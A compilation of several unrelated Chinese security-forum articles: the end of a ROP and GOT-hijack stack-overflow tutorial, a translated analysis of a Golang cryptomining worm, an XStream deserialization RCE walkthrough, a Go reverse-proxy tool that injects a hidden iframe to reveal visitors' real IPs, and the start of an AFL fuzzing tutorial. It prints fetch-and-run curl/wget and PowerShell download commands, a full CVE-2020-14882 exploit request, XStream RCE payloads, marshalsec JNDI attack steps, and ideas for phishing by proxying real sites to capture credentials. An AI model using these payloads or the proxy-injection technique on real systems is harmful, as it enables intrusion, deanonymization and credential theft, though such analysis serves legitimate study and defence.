对于所有包含 pop 指令的 gadget，在其地址之后都要添加 pop 的传输数据，同时在所有 gadget 最后包含一段
shellcode，最终溢出数据结构应该变为如下格式。
> **payload :** padding + address of gadget 1 + param for gadget 1 + address
> of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
**Fig 6. 包含多个 gadget 的溢出数据（修改后）**
此处为了简单，先假定输入溢出数据不受“\x00"字符的影响，所以 payload 可以直接包含 “\x7d\x00\x00\x00”（传给 eax
的参数125）。如果希望实现更为真实的操作，可以用多个 gadget 通过运算得到上述参数。比如可以通过下面三条 gadget 来给 eax 传递参数。
pop eax; ret; # pop stack top 0x1111118e into eax
pop ebx; ret; # pop stack top 0x11111111 into ebx
sub eax, ebx; ret; # eax -= ebx
解决完上述问题，我们就可以拼接出溢出数据，输入至程序来为程序调用栈开启可执行权限并执行 shellcode。同时，由于 ROP
方法带来的灵活性，现在不再需要痛苦地试探 shellcode 起始地址了。回顾整个输入数据，只有栈的分段地址需要获取确定地址。如果利用 gadget 读取
ebp 的值再加上某个合适的数值，就可以保证溢出数据都具有可执行权限，这样就不再需要获取确切地址，也就具有了绕过内存随机化的可能。
出于演示的目的，我们假设（简直是_钦点_）了所有需要的 gadget 的存在。在实际搜索及拼接 gadget 时，并不会像上面一样顺利，有两个方面需要注意。
第一，很多时候并不能一次凑齐全部的理想指令片段，这时就要通过数据地址的偏移、寄存器之间的数据传输等方法来“曲线救国”。举个例子，假设找不到下面这条
gadget
pop ebx; ret;
但假如可以找到下面的 gadget
mov ebx, eax; ret;
我们就可以将它和
pop eax; ret;
组合起来实现将数据传输给 ebx 的功能。上面提到的用多个 gadget 避免输入“\x00”也是一个实例应用。
第二，要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分，比如可能修改某个已经写入数值的寄存器。另外，要特别小心 gadget 对
ebp 和 esp 的操作，因为它们的变化会改变返回地址的位置，进而使后续的 gadget 无法执行。
## **_0x40_ Hijack GOT**
_－－修改某个被调用函数的地址，让其指向另一个函数_
根据上面副标题的说明，要完成的任务包括：在内存中修改某个函数的地址，使其指向另一个函数。为了便于理解，不妨假设修改 printf() 函数的地址使其指向
system()，这样修改之后程序内对 printf() 的调用就执行 system()
函数。要实现这个过程，我们就要弄清楚发生函数调用时程序是如何“找到”被调用函数的。
程序对外部函数的调用需要在生成可执行文件时将外部函数链接到程序中，链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码，动态链接得到的可执行文件并不包含外部函数的代码，而是在运行时将动态链接库（若干外部函数的集合）加载到内存的某个位置，再在发生调用时去链接库定位所需的函数。
可程序是如何在链接库内定位到所需的函数呢？这个过程用到了两张表－－GOT 和 PLT。GOT 全称是全局偏移量表（ **G** lobal **O**
ffset **T** able），用来存储外部函数在内存的确切地址。GOT 存储在数据段（Data Segment）内，可以在程序运行中被修改。PLT
全称是程序链接表（ **P** rocedure **L** inkage **T** able），用来存储外部函数的入口点（entry），换言之程序总会到
PLT 这里寻找外部函数的地址。PLT 存储在代码段（Code Segment）内，在运行之前就已经确定并且不会被修改，所以 PLT
并不会知道程序运行时动态链接库被加载的确切位置。那么 PLT 表内存储的入口点是什么呢？就是 GOT 表中对应条目的地址。
**Fig 7. PLT 和 GOT 表**
等等，我们好像发现了一个不合理的地方，外部函数的内存地址存储在 GOT 而非 PLT 表内，PLT 存储的入口点又指向 GOT
的对应条目，那么程序为什么选择 PLT 而非 GOT 作为调用的入口点呢？在程序启动时确定所有外部函数的内存地址并写入 GOT 表，之后只使用 GOT
表不是更方便吗？这样的设计是为了程序的运行效率。GOT 表的初始值都指向 PLT
表对应条目中的某个片段，这个片段的作用是调用一个函数地址解析函数。当程序需要调用某个外部函数时，首先到 PLT 表内寻找对应的入口点，跳转到 GOT
表中。如果这是第一次调用这个函数，程序会通过 GOT 表再次跳转回 PLT 表，运行地址解析程序来确定函数的确切地址，并用其覆盖掉 GOT
表的初始值，之后再执行函数调用。当再次调用这个函数时，程序仍然首先通过 PLT 表跳转到 GOT 表，此时 GOT
表已经存有获取函数的内存地址，所以会直接跳转到函数所在地址执行函数。整个过程如下面两张图所示。
**Fig 8. 第一次调用函数时解析函数地址并存入 GOT 表**
**Fig 9. 再次调用函数时直接读取 GOT 内的地址**
上述实现遵循的是一种被称为 **_LAZY_**
的设计思想，它将需要完成的操作（解析外部函数的内存地址）留到调用实际发生时才进行，而非在程序一开始运行时就解析出全部函数地址。这个过程也启示了我们如何实现函数的伪装，那就是到
GOT 表中将函数 A 的地址修改为函数 B 的地址。这样在后面所有对函数 A 的调用都会执行函数 B。
那么我们的目标可以分解为如下几部分：确定函数 A 在 GOT 表中的条目位置，确定函数 B 在内存中的地址，将函数 B 的地址写入函数 A 在 GOT
表中的条目。
首先，如何确定函数 A 在 GOT 表中的条目位置？
程序调用函数时是通过 PLT 表跳转到 GOT 表的对应条目，所以可以在函数调用的汇编指令中找到 PLT 表中该函数的入口点位置，从而定位到该函数在 GOT
中的条目。
例如
call 0x08048430 <printf@plt>
就说明 printf 在 PLT 表中的入口点是在 _0x08048430_ ，所以 _0x08048430_ 处存储的就是 GOT 表中 printf
的条目地址。
其次，如何确定函数 B 在内存中的地址？
如果系统开启了内存布局随机化，程序每次运行动态链接库的加载位置都是随机的，就很难通过调试工具直接确定函数的地址。假如函数 B
在栈溢出之前已经被调用过，我们当然可以通过前一个问题的答案来获得地址。但我们心仪的攻击函数往往并不满足被调用过的要求，也就是 GOT
表中并没有其真实的内存地址。幸运的是，函数在动态链接库内的相对位置是固定的，在动态库打包生成时就已经确定。所以假如我们知道了函数 A 的运行时地址（读取
GOT 表内容），也知道函数 A 和函数 B 在动态链接库内的相对位置，就可以推算出函数 B 的运行时地址。
最后，如何实现 GOT 表中数据的修改？
很难找到合适的函数来完成这一任务，不过我们还有强大的 ROP（DIY大法好）。假设我们可以找到以下若干条 gadget（继续_钦点_），就不难改写 GOT
表中数据，从而实现函数的伪装。ROP 的具体实现请回看上一章，这里就不再赘述了。
pop eax; ret; # printf@plt -> eax
mov ebx [eax]; ret; # printf@got -> ebx
pop ecx; ret; # addr_diff = system - printf -> ecx
add [ebx] ecx; ret; # printf@got += addr_diff
从修改 GOT 表的过程可以看出，这种方法也可以在一定程度上绕过内存随机化。
## **_0x50_ 防御措施**
介绍过几种栈溢出的基础方法，我们再来补充一下操作系统内有哪些常见的措施可以进行防御。首先，通常情况下程序在默认编译设置下都会取消栈上数据的可执行权限，这样简单的
shellcode
溢出攻击就无法实现了。其次，可以在操作系统内开启内存布局随机化（ASLR），这样可以增大确定堆栈内数据和动态库内函数的内存地址的难度。编译程序时还可以设置某些编译选项，使程序在运行时会在函数栈上的
ebp
地址和返回地址之间生成一个特殊的值，这个值被称为“金丝雀”（关于这个典故，请大家自行谷歌）。这样一旦发生了栈溢出并覆盖了返回地址，这个值就会被改写，从而实现函数栈的越界检查。最后值得强调的是，尽可能写出安全可靠的代码，不给栈溢出提供写入越界的可能。
## **_0x60_ 全篇小结**
本文简要介绍了栈溢出这种古老而经典的技术领域，并概括描述了四种入门级的实现方法。至此我们专栏的第一讲就全部结束啦，接下来专栏会陆续放出计算机安全相关的更多文章，内容也会涵盖网络安全、Web渗透、密码学、操作系统，还会有ctf
比赛题解等等......
最后感谢大家的关注，让我们一起学习，共同进步！
## **References：**
* 《Hacking: Art of Exploitation》
* [2015 | sploitF-U-N](https://sploitfun.wordpress.com/2015/)
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/>**
### 介绍
12月初，我们发现了一种新的用Golang编写的蠕虫。该蠕虫延续了
Golang在[2020年流行的多平台恶意软件趋势](https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/ "2020年流行的多平台恶意软件趋势")。
该蠕虫试图在网络中传播，以便大规模运行XMRig
Miner。恶意软件同时针对Windows和Linux服务器，可以轻松地从一个平台转移到另一个平台。它的目标是面向公众的服务：密码较弱的MySQL、Tomcat管理面板和Jenkins。在较旧的版本中，该蠕虫还尝试利用WebLogic的最新漏洞：CVE-2020-14882。
在我们的分析过程中，攻击者不断更新C&C服务器上的蠕虫。这表明该蠕虫处于活跃状态，并且可能在将来的更新中针对其他弱配置的服务。
### 技术分析
该攻击使用三个文件：一个dropper脚本（bash或powershell）、一个Golang二进制蠕虫和一个XMRig
Miner，所有这些文件都托管在同一C&C上。
目前，还未检测到ELF蠕虫二进制文件和bash dropper脚本。
图1显示了VirusTotal中的ELF蠕虫二进制检测结果。
图1：在VirusTotal（ead2cf8ab7aef63706b40eb57d668d0a）中完全未检测到ELF文件
该恶意软件在Linux和Windows操作系统上的行为类似。我们将在下面描述Linux蠕虫感染流程。
### Linux蠕虫感染流程
在执行后，蠕虫会检查受感染计算机上的进程是否正在侦听端口52013。此端口上存在的侦听器可充当恶意软件的互斥体。如果该端口的套接字已经打开，则实例将退出，否则它将在该端口上打开网络套接字。
在旧版本中，该蠕虫会将XMRig Miner作为Network01解压缩到tmp文件夹中并运行它。 使用名为[go-bindata](https://github.com/go-bindata/go-bindata "go-bindata")的[Go资源嵌入包](https://go.libhunt.com/categories/538-resource-embedding
"Go资源嵌入包")将矿工嵌入Golang二进制文件中。恶意软件使用bindataFile函数解压缩嵌入式XMRig
Miner二进制文件。图2显示了此文件中的函数。
图2：xmrig\u linux\u amd64.go文件
恶意软件将使用TCP-SYN扫描网络，以便找到它可以暴力攻击并在网络上传播的服务。它将扫描具有与这些服务有关的开放端口的IP：蠕虫的较旧版本上为8080（对于Tomcat和Jenkins）、3306（对于MySQL）和7001（对于WebLogic）。这些漏洞利用程序均在src“exp”（漏洞利用）代码下具有一个程序包。
图3：exp文件和函数
蠕虫使用[gopacket](https://github.com/google/gopacket
"gopacket")库，该库为Go提供C绑定，以使用libpcap读取网络数据包。通过运行pcapc，蠕虫会获取用于收集ACKS的网络数据，并继续对服务进行暴力破解。图4显示了蠕虫在Tomcat和MySQL服务上的暴力破解以及利用。
图4：蠕虫输出的片段
攻击后，恶意软件将提供加载程序脚本： **ld.sh** （Linux）和 **ld.ps1**
（Windows）。加载程序负责在被利用的服务上删除并运行XMRig Miner和Golang蠕虫。图5和6中的加载程序脚本如下：
图5：ldr.sh——基于Linux的Dropper bash脚本
图6：ldr.ps1——基于Windows的Dropper powershell脚本
### 攻击流程
下面介绍每种服务的攻击流程。
#### MySql：3306端口
该恶意软件将运行暴力攻击。该恶意软件使用包含弱凭据的硬编码字典（例如 **root：123456** ）来进行此攻击。
成功登录后，它将运行一个shellcode，以使用mysql
UDF获得本地特权升级。该漏洞利用程序以十六进制字符串形式嵌入二进制文件中。该蠕虫针对每种操作系统和体系结构（UDFLINUX32，UDFLINUX64，UDFLWIN32和UDFWIN64）都有利用。浏览此处以获取有关漏洞利用的更多信息。
运行漏洞利用程序后，有效负载将使用sys_exec命令删除并运行加载程序脚本。URLWIN和URLLINUX存储删除程序脚本URL。图7和8显示了每个操作系统的有效负载。
图7：MySQL查询——Linux有效负载
图8：MySQL查询——Windows有效负载
#### Tomcat：8080端口
恶意软件将使用基本身份验证在管理面板上运行凭据。
图9：Tomcat管理面板的身份验证请求示例
试用成功后，恶意软件将尝试部署WAR文件（Web应用程序资源），该文件将用于传输包含恶意有效负载的1.jsp文件。
该恶意软件将发送Get请求并使用jsp文件解析参数%s/1.jsp? **win=** %s& **linux=**
%s。这些参数将包含dropper脚本URL。然后，jsp脚本将删除并运行加载程序。
图10：1.jsp文件脚本
#### Jenkins：端口8080
与以前的攻击类似，该恶意软件暴力破解Jenkins密码，登录并运行以下负载：
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
#### WebLogic：7001端口
在旧版本中，该恶意软件利用了最新的WebLogic远程代码执行漏洞CVE-2020-14882。它将获取请求发送到WebLogic服务，并将GET请求标头用作有效负载的一部分。
GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=**req.getHeader(“cmd”)**;String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,**req.getHeader(“win”)**}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
**cmd**: ls
**linux**: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
**win**: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
### 预防措施
* 1.使用复杂的密码，限制登录尝试，并在可能的情况下使用2FA（双重身份验证）。
* 2.尽量减少使用面向公众的服务。
* 3.使用最新的安全补丁更新软件。
* 4.使用Intezer Protect之类的Cloud Workload Protection Platform（CWPP）可获得对系统代码的完整运行时可见性，并在任何恶意或未经授权的代码上收到警报。 这里有一个[免费的社区版](http://protect.intezer.com/signup "免费的社区版")。
### 总结
在2020年，我们看到了针对不同平台（包括Windows、Linux、Mac和Android）的Golang恶意软件。这种情况将在2021年继续下去。
事实上，蠕虫的PE和ELF恶意软件的代码几乎相同，而ELF恶意软件在VirusTotal中未被检测到，这表明Linux威胁仍然在大多数安全和检测平台下存在。
### IoCs
**C &C**
185[.]239[.]242[.]71（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.239.242.71
"ZoomEye搜索结果")）
**Files**
* * * | 社区文章 |
**前言**
最近一直忙着攻防比赛，然后在项目中碰到了泛微OA-Cology WorkflowServiceXml RCE漏洞，当中利用到了xs反序列化的一些东西。所以打算把xs反序列化都分析一遍。这里顺便说一下，感觉有些人知道marshalsec-0.0.1-SNAPSHOT-all.jar这个工具，但是每次都是复制粘贴命令，换个陌生的环境就不会用了。这里稍微友情提示一下用法，比如WorkflowServiceXml漏洞中的用法，主要是四个步骤：
1.python -m http.server 8888//这里是开启了一个http服务，放置我们的恶意类（vps）
2.java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389 //这里是开启了一个ldap服务，jndi注入需要访问的恶意ldap服务。（vps）
3.java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml//这里是利用marshalsec-0.0.3-SNAPSHOT-all.jar生成了反序列化利用链的payload，其中的ldap服务器应该是我们防止恶意类的服务器（在我的攻击中，当时测试了dnsurl链是没有问题了的，使用XStream CommonsBeanutils 链迟迟弹不回来shell，当时以为是链子存在问题，后来使用dnslog的地址发现是能接受到请求的，最多多次尝试以后发现是端口的问题。只能过80，443，和53，自己随便的写的端口当然没有弹回来，记录一下，以后授权项目尽可能使用常用端口弹）
4.发送payload
攻击者（生成payload，发送payload）->服务器（接受payload，请求恶意的ldap服务）-》VPS（恶意ldap服务器）
**漏洞版本**
1.4.x系列<=1.4.6或=1.4.10
**前置知识**
java 动态代理
java EventHandler类
java ProcessBuilder命令执行
**搭建环境**
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>xstream</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.10</version>
</dependency>
</dependencies>
</project>
**POC.xml**
<dynamic-proxy>
<interface>car</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
**POC**
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
import com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.mapper.DefaultMapper;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
public class xstream {
public xstream() throws FileNotFoundException {
String path = this.getClass().getClassLoader().getResource("poc.xml").getPath();
InputStream in = new FileInputStream(path);
XStream xs = new XStream();
car c = (car)xs.fromXML(in);
c.run();
}
public static void main(String[] args) throws FileNotFoundException {
xstream x = new xstream();
}
}
**基础分析**
根据我们的poc.xml来看，我们会利用到java.beans.EventHandler，那么这个类是拿来做什么的呢。
Java.beans.EventHandler也是实现了InvocationHandler接口的动态代理类处理程序，EventHandler能够起到监控接口中的方法被调用后执行EventHandler中成员变量指定的方法。这里对我们的poc.xml分析猜测一下，整个流程应该生成了一个委托类为java.lang.ProcessBuilder的EventHandler动态代理处理器，其中EventHandler成员变量也就是action指定的方法为start。然后对car做了一个动态代理，当我们的car动态代理任意方法执行，就会执行EventHandler指定的方法start，也就是
java.lang.ProcessBuilder.start()，我之前有偏一篇waf绕过加命令执行分析讲过，java.lang.ProcessBuilder.start()也能执行系统命令。猜测是这样，实际结果还是要跟一下才知道。
**调试分析**
直接在xs.fromXML(in)下个断点，跟踪，中间一直在调用unmarshal()方法，有兴趣可以跟下去看看，给了一个安全警告，然后调用了marshallingStrategy.unmarshal()方法，
一般这种marshallingStrategy的赋值，应该是存在构造方法或者某个set方法中，事实证明也是在setMarshallingStrategy()方法中，这里可以简单跟一下，最后发现是在setMode()中进行了赋值，就不跟了，有兴趣可以下个断点找一下这些数据流向和赋值流程
继续回到我们开始的地方，这里调用了context.start()方法，我们跟进去看看
从下面的截图中可以看出，最终是利用EventHandler来调用了ProcessBuilder.start进行了命令执行。那么是如何获取到的呢，我们一步步跟进去看看（才开始学习反序列化的时候总是跟着别人的文章分析，写出来倒是一模一样，但是中间总是稀里糊涂的，所以后面我选择将主干跟踪，当发现了哪里出现的我所需要的东西，就进去看看这是怎么生成的。这里通过this.convertAnother((Object)null, type)获取到了我们的参数，我们就跟进去看看具体怎么生成的，下断点）
Object result = this.convertAnother((Object)null, type);跟进一下这里
跟进lookupConverterForType()方法，跟踪发现，这里就是寻找一个合适转换器，方便后期去提取出我们的代理对象
这里应该就是进行转化了，进去看看，此时 看一看转换传入的参数
跟进一下这里，因为在这里发现获取到了Eventhandler
convert->converter.unmarshal()
String elementName = reader.getNodeName();
if (elementName.equals("interface")) {
interfaces.add(this.mapper.realClass(reader.getValue()));
看一下，这里获取到了car接口的信息，也就是说在这里开始解析xml了，回头看一下我们的xml，先解析interface，然后handler，后面的自己跟，就不再说了。现在第一个问题已经解决了，就是找到如何获取我们的EventHandler的地方
那么到这里就很熟悉了 ，动态代理机制，创建动态代理对象，稍微要注意一下，这里是建立了一个空代理。下面再看一下是如何获取到target里面的参数。
context.convertAnother()
result = this.doUnmarshal(result, reader, context);
看到这里又是异常的熟悉，我们前边取到xml标签里的内容就是这个样子的，这里就是取到了action和target，前面已经分析过了就不再分析了。
这里将我们标签的内容添加到了collection中
中间跟下去会有很多重复的，也就是对我们xml标签内容进行处理，太多了就不截图了。一直跟下去会看到当获取到了我们xml标签的内容后，重新生成了一个代理，现在不再是一个空白代理，而是参数为如下截图的一个代理。其实到了现在我们也清楚了，我们之前针对poc的猜测还是没问题的。
最后，当我们执行代理对象的任意方法，则会调用EventHandler类代理对象的指定方法。这里的方法为start，委托代理类为ProcessBuilder，common为calc。那么接下来我们只需要随意执行一个代理接口里的任意方法。就可以执行我们弹计算的方法了。当然再实际的环境中，我们在没有源码的情况下，要能够直接猜测出别人的接口，还是有一定难度的。所以如何找一个通用的执行效果，才是我们的最终目标。
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
这是在网上找的另外的一个poc，我们前期已经分析了他的执行流程。那我们看poc应该明白，这个poc触发的原因应该是在执行的过程中，调用了java.lang.Comparable接口下的某个方法。看到只有一个compareTo,这里就看看哪里调用了compareTo()也就大功告成了。
寻找一下哪里存在compareTo()方法的调用（略微刻意，本来想看看idea是否有功能可以直接将函数执行过程中的所有方法打印出来，但是失败了，这里就直接find全局查找，找到了这里下一个断点，事实证明确实在执行过程中调用了这个方法。
网上分析的文章还是挺多的，才开始本来打算看一下分析文章关键点下点断点看一下参数的。结果xstream的处理流程太多的重复了，在处理这些重复的过程中，自己也想了一些方法。所以在这里记录一下。
本次分析的思路是这个样子
1.根据poc中出现的函数，盲猜一下整个的执行流程。
2.根据猜测去调试，当出现关键的信息（如EventHandler），跟踪一下如何生成的
3.跟踪完成后，反思一下整个流程。
**参考文章**
<https://blog.csdn.net/wenrennaoda/article/details/105564606> | 社区文章 |
## 0x01 背景说明
在某次项目中，由于获取到了非法网站的后台账号密码，但是没有后台管理人员的真实IP，导致项目无法进行下去，于是有了这篇文章，突破该点可以利用以下方式：
由于笔者当前使用golang比较多，就想到了可以使用golang的反代技术实现该项目是需求。那么分析下我们需要实现的几个小目标：
1、可以简单的进行反向代理
2、可以通过webrtc获取到代理后的真实IP
ps: 本文不对webrtc在不同浏览器、不同环境下无法利用的问题进行讨论。
## 0x02 代码实现
在golang中，可以很简单的去反向代理一个网站，因为golang中自带了一个`NewSingleHostReverseProxy`的方法，简单的实现代码如下：
package main
import (
"log"
"fmt"
"net/http"
"net/http/httputil"
"net/url"
)
func main() {
target, err := url.Parse("https://mp.weixin.qq.com/")
if err != nil {
fmt.Println("err:", err)
return
}
fmt.Printf("反向代理站点 -> %s \n", target)
proxy := httputil.NewSingleHostReverseProxy(target)
d := proxy.Director
proxy.Director = func(r *http.Request) {
d(r) // 调用默认的director
r.Host = target.Host // 设置反向代理中request的host头信息
}
log.Fatal(http.ListenAndServe(":1288", proxy))
}
运行上面代码后，访问[http://127.0.0.1:1288/mp/homepage?__biz=MzkwNzIxMDUyNg==&hid=1&sn=024beef326bb29c0232d0f489034f82a](http://127.0.0.1:1288/mp/homepage?__biz=MzkwNzIxMDUyNg==&hid=1&sn=024beef326bb29c0232d0f489034f82a)
就可以看到被代理的网站内容
可以看到很简单的就完成的反代这一小目标，当然我们不仅仅满足于当前结果，我们的目标还有要获取到真实IP，关于如何获取到代理后的真实IP，可以了解下webrtc技术，本文不科普webrtc技术如何获取到真实IP的原理，有兴趣的小伙伴可以到
<https://github.com/diafygi/webrtc-ips> 进行查看。
在已经有反向代理的前提下，那么要完成webrtc获取ip的模板，其实主要就是要修改反代后的网站源码，使其嵌入一个iframe，这样就可以神不知鬼不觉的达到欺骗+获取代理后真实IP的需求。
具体实现的核心代码如下:
/*
Copyright © 2020 iiusky [email protected]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package core
import (
"bytes"
"fmt"
"github.com/gin-gonic/gin"
"io/ioutil"
"net/http"
"net/http/httputil"
"strconv"
"strings"
"time"
)
// response修改
func ModifyResponse(resp *http.Response) error {
var respBodyByte []byte
if resp.Header.Get("Location") != "" {
resp.Header.Set("Location", strings.ReplaceAll(resp.Header.Get("Location"),
fmt.Sprintf("%s://%s", scheme, host), WebDomain))
}
respBodyByte, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
err = resp.Body.Close()
if err != nil {
return err
}
if resp.Header.Get("Content-Encoding") == "gzip" {
resp.Header.Del("Content-Encoding")
respBodyByte = unGzip(respBodyByte)
}
// 实时打印代理情况
fmt.Println(time.Now().String(), resp.Request.Method, resp.Request.URL.String())
respBodyByte = bytes.Replace(respBodyByte, []byte("<body"), []byte(fmt.Sprintf(iframeContent, WebDomain, WebRtcPath)), -1)
respbody := ioutil.NopCloser(bytes.NewReader(respBodyByte))
resp.Body = respbody
resp.ContentLength = int64(len(respBodyByte))
resp.Header.Set("Content-Length", strconv.Itoa(len(respBodyByte)))
return nil
}
// 反向代理
func handleReverseProxy(ctx *gin.Context) {
director := func(req *http.Request) {
req.URL.Scheme = scheme
req.URL.Host = host
req.Host = host
}
proxy := &httputil.ReverseProxy{Director: director}
proxy.ModifyResponse = ModifyResponse
proxy.ServeHTTP(ctx.Writer, ctx.Request)
}
主要的核心就是使用对`proxy.ModifyResponse`的值改为我们自定义的方法`ModifyResponse`，在`ModifyResponse`中对`response`进行解析和修改，我们要实现当前项目的需求，最简单有效的办法就是替换所有`<body`该字符串为我们自定义的字符串，替换为
<body><iframe name='hideFrame' style="display:none;" src="%s/%s"></iframe></body><body
这样反代的网站是有两个body,但是不会影响布局以及展示内容，且将iframe进行隐藏不显示，让其在背后偷偷的访问。
最终效果如下图所示：
可以看到在第一个body中插入了我们的iframe，但是整个网页状态以及使用都是正常没有问题的。
同时二进制目录下会生成两个log文件，一个为访问日志，一个webrtc日志。
在访问后可以看webrtc.log日志文件，该日志内容中会将webrtc获取到的ip打印出来。
至此，我们的两个小目标都完成了。
## 0x03 抛砖引玉
我们可以思考下，既然可以修改返回包，那么是否是仅限于对于获取真实IP这样一种场景呢？答案肯定是否定的，在当前的钓鱼网站中，大家很多都是一个html+一个exe马，诱导下载执行，又或者是带表单提交的一个动态网站页面，诱导其输入账号密码。
为什么我们不能直接反向代理他真正的网站，通过注入js、修改html源码，来达到截取表单信息、替换二进制文件等过程呢？以在可以反向代理+修改response包的情况下，最高效好用的就是，这个钓鱼网站就是真的，我们对真正存在的网站进行反向代理，整个系统所有所有的功能都可以正常运行，从而让受害者神不知鬼不觉的进入圈套。比如下图这种逻辑：
在研究这个方向的过程中，发现某信服sslvpn新版本打开后会强制要求下载sslvpn客户端，这样的话我们一个诱导性极强的域名+绑马的sslvpn客户端即可。对于其他的一些思路，大家可以在多想想看，比如是否可以绕过2fa认证？是否可以劫持2fa认证等方面的场景。
又或者，当做蜜罐，通过注入带有jsonp的脚本，可以直接获取到相关访问者的网络ID等信息，并且控制器在访问敏感路径或文件的时候直接返回404阻断其获取敏感信息。
## 0x04 相关源码
• <https://github.com/iiiusky/webrtc-proxy> | 社区文章 |
最近想学习一波fuzz，希望能往实际挖洞方向进行学习，不然怕是会找不到工作，嘤嘤嘤
# AFL-Fuzz介绍
Fuzzing是指通过构造测试输入，对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。在CTF中，fuzzing可能不常用，但在现实的漏洞挖掘中，fuzzing因其简单高效的优势，成为非常主流的漏洞挖掘方法。
AFL则是fuzzing的一个很好用的工具，全称是American Fuzzy Lop，由Google安全工程师Michał
Zalewski开发的一款开源fuzzing测试工具，可以高效地对二进制程序进行fuzzing，挖掘可能存在的内存安全漏洞，如栈溢出、堆溢出、UAF、double
free等。由于需要在相关代码处插桩，因此AFL主要用于对开源软件进行测试。当然配合QEMU等工具，也可对闭源二进制代码进行fuzzing，但执行效率会受到影响
工作原理：
通过对源码进行重新编译时进行插桩（简称编译时插桩）的方式自动产生测试用例来探索二进制程序内部新的执行路径。AFL也支持直接对没有源码的二进制程序进行测试，但需要QEMU的支持。
# 安装
直接去[官网](http://lcamtuf.coredump.cx/afl/)下载压缩包，解压后在目录中打开终端输入：
* make
* sudo make install
输入以上命令后基本就能安装成功了，在终端输入afl-后tab，就能出现以下这些命令了
说明安装成功
# 使用AFL插桩程序（有源码）
这里就以一个简单的c语言的程序作为例子来试试
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
int vuln(char *str)
{
int len = strlen(str);
if(str[0] == 'A' && len == 66)
{
raise(SIGSEGV);
//如果输入的字符串的首字符为A并且长度为66，则异常退出
}
else if(str[0] == 'F' && len == 6)
{
raise(SIGSEGV);
//如果输入的字符串的首字符为F并且长度为6，则异常退出
}
else
{
printf("it is good!\n");
}
return 0;
}
int main(int argc, char *argv[])
{
char buf[100]={0};
gets(buf);//存在栈溢出漏洞
printf(buf);//存在格式化字符串漏洞
vuln(buf);
return 0;
}
总的流程概述：
